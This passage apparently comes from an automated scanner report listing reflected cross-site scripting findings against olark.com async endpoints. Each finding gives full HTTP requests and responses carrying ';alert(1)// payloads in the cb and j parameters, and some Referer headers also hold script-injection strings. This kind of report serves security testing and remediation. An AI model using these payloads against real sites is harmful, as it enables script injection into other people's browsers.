Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556327:2592000; __utma=220293574.429075976.1307226529.1307226529.1307226529.1; __utmb=220293574.1.10.1307226529; __utmc=220293574; __utmz=220293574.1307226529.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226531; omp__super_properties=%7B%22all%22%3A%20%7B%22distinct_id%22%3A%20%22S9F1LSG2OWDYK06QL37SL9XM93534311%22%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:29:02 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:29:02 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.pollevents4469b;alert(1)//8ac9d9ae683(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (23 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4')) hbl.util.remove_element('o4');}catch(e){}
1.12. http://409-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://409-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 84851'%3balert(1)//8d7af5ce08f was submitted in the j parameter. This input was echoed as 84851';alert(1)//8d7af5ce08f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o484851'%3balert(1)//8d7af5ce08f&&c=pollevents&q=69.38178.4&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 409-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556327:2592000; __utma=220293574.429075976.1307226529.1307226529.1307226529.1; __utmb=220293574.1.10.1307226529; __utmc=220293574; __utmz=220293574.1307226529.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226531; omp__super_properties=%7B%22all%22%3A%20%7B%22distinct_id%22%3A%20%22S9F1LSG2OWDYK06QL37SL9XM93534311%22%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:29:02 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:29:02 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (23 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o484851';alert(1)//8d7af5ce08f')) hbl.util.remove_element('o484851';alert(1)//8d7af5ce08f');}catch(e){}
1.13. http://450-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://450-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1167f%3balert(1)//b6950045298 was submitted in the cb parameter. This input was echoed as 1167f;alert(1)//b6950045298 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o3&&c=pollevents&q=2218.53287.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents1167f%3balert(1)//b6950045298&version=api-1.2.1&pretty=true HTTP/1.1
Host: 450-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:56 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:56 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.pollevents1167f;alert(1)//b6950045298(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o3')) hbl.util.remove_element('o3');}catch(e){}
1.14. http://450-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://450-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98921'%3balert(1)//0af51e41f93 was submitted in the j parameter. This input was echoed as 98921';alert(1)//0af51e41f93 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o398921'%3balert(1)//0af51e41f93&&c=pollevents&q=2218.53287.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 450-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:55 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o398921';alert(1)//0af51e41f93')) hbl.util.remove_element('o398921';alert(1)//0af51e41f93');}catch(e){}
1.15. http://489-async.olark.com/nrpc/c [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://489-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1827e%3balert(1)//5fd2bb49353 was submitted in the cb parameter. This input was echoed as 1827e;alert(1)//5fd2bb49353 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o1&&c=create&q=2281.15144.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Fcloud&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.begin1827e%3balert(1)//5fd2bb49353&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 489-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:51 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 251

try{hbl.client.callbacks.begin1827e;alert(1)//5fd2bb49353(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o1')) hbl.util.remove_element('o1');}catch(e){}
1.16. http://489-async.olark.com/nrpc/c [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://489-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1b441'%3balert(1)//a0a59f1a3b5 was submitted in the j parameter. This input was echoed as 1b441';alert(1)//a0a59f1a3b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o11b441'%3balert(1)//a0a59f1a3b5&&c=create&q=2281.15144.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Fcloud&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.begin&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 489-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:50 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 280

try{hbl.client.callbacks.begin(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o11b441';alert(1)//a0a59f1a3b5')) hbl.util.remove_element('o11b441';alert(1)//a0a59f1a3b5');}catch(e){}
1.17. http://489-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://489-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b5e76%3balert(1)//8133cf8455e was submitted in the cb parameter. This input was echoed as b5e76;alert(1)//8133cf8455e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendnickname&q=2308.16553.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noopb5e76%3balert(1)//8133cf8455e&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 489-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:19 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:19 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noopb5e76;alert(1)//8133cf8455e(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.18. http://489-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://489-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8e61'%3balert(1)//cb7c059b93d was submitted in the j parameter. This input was echoed as b8e61';alert(1)//cb7c059b93d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2b8e61'%3balert(1)//cb7c059b93d&&c=sendnickname&q=2308.16553.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 489-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:19 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:19 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2b8e61';alert(1)//cb7c059b93d')) hbl.util.remove_element('o2b8e61';alert(1)//cb7c059b93d');}catch(e){}
1.19. http://492-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://492-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 67797%3balert(1)//c4e25221c9e was submitted in the cb parameter. This input was echoed as 67797;alert(1)//c4e25221c9e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendnickname&q=9310.37262.2&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.noop67797%3balert(1)//c4e25221c9e&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%235493%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 492-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556327:2592000; __utma=220293574.429075976.1307226529.1307226529.1307226529.1; __utmb=220293574.1.10.1307226529; __utmc=220293574; __utmz=220293574.1307226529.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226531; omp__super_properties=%7B%22all%22%3A%20%7B%22distinct_id%22%3A%20%22S9F1LSG2OWDYK06QL37SL9XM93534311%22%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:29:01 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:29:01 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noop67797;alert(1)//c4e25221c9e(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (23 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.20. http://492-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://492-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dc481'%3balert(1)//8454550f6f1 was submitted in the j parameter. This input was echoed as dc481';alert(1)//8454550f6f1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2dc481'%3balert(1)//8454550f6f1&&c=sendnickname&q=9310.37262.2&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.noop&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%235493%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 492-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556327:2592000; __utma=220293574.429075976.1307226529.1307226529.1307226529.1; __utmb=220293574.1.10.1307226529; __utmc=220293574; __utmz=220293574.1307226529.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226531; omp__super_properties=%7B%22all%22%3A%20%7B%22distinct_id%22%3A%20%22S9F1LSG2OWDYK06QL37SL9XM93534311%22%7D%2C%22events%22%3A%20%7B%7D%2C%22funnels%22%3A%20%7B%7D%7D

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:29:01 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:29:01 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (23 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2dc481';alert(1)//8454550f6f1')) hbl.util.remove_element('o2dc481';alert(1)//8454550f6f1');}catch(e){}
1.21. http://540-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://540-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 62842%3balert(1)//e7ebe6a555d was submitted in the cb parameter. This input was echoed as 62842;alert(1)//e7ebe6a555d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4&&c=pollevents&q=3551.13495.4&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.callbacks.pollevents62842%3balert(1)//e7ebe6a555d&version=api-1.2.1&pretty=true HTTP/1.1
Host: 540-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556187:2592000; __utma=1.900938983.1307226305.1307226305.1307226305.1; __utmb=1.1.10.1307226305; __utmc=1; __utmz=1.1307226305.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226306

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:25:17 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:25:17 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.pollevents62842;alert(1)//e7ebe6a555d(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (10 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4')) hbl.util.remove_element('o4');}catch(e){}
1.22. http://540-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://540-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19266'%3balert(1)//ea4bd1f9c4a was submitted in the j parameter. This input was echoed as 19266';alert(1)//ea4bd1f9c4a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o419266'%3balert(1)//ea4bd1f9c4a&&c=pollevents&q=3551.13495.4&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 540-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
Cookie: __utmx=220293574.00012337193820629337:1:1; __utmxx=220293574.00012337193820629337:1556187:2592000; __utma=1.900938983.1307226305.1307226305.1307226305.1; __utmb=1.1.10.1307226305; __utmc=1; __utmz=1.1307226305.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; km_ai=p6nVNyL3vgbPZf6fpECZXtkw1So; km_uq=; km_vs=1; km_lv=1307226306

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 22:25:17 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 22:25:17 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (10 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o419266';alert(1)//ea4bd1f9c4a')) hbl.util.remove_element('o419266';alert(1)//ea4bd1f9c4a');}catch(e){}
1.23. http://577-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://577-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a98f2%3balert(1)//00c9fd3e74 was submitted in the cb parameter. This input was echoed as a98f2;alert(1)//00c9fd3e74 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

